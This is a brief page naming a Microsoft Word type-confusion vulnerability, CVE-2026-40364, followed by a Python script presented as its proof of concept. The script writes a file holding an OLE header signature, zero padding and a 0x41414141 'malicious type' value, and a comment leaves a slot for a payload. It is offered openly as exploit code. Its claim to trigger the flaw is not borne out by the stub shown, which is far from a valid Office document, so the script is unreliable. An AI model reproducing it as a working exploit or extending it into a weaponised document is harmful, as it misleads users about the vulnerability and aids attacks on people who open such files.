CVE-2026-40364 Microsoft Word类型混淆代码执行漏洞

import struct # Proof of Concept for CVE-2026-40364 # This script generates a malformed Office document structure to trigger type confusion. # Note: Actual exploitation requires specific memory layout knowledge. def generate_malicious_doc(filename): header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE Header # Malformed type identifier causing confusion in parser malicious_type = struct.pack('<I', 0x41414141) with open(filename, 'wb') as f: f.write(header) f.write(b'\x00' * 0x20) # Padding f.write(malicious_type) # Payload placeholder would go here print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_doc("cve_2026_40364_poc.doc")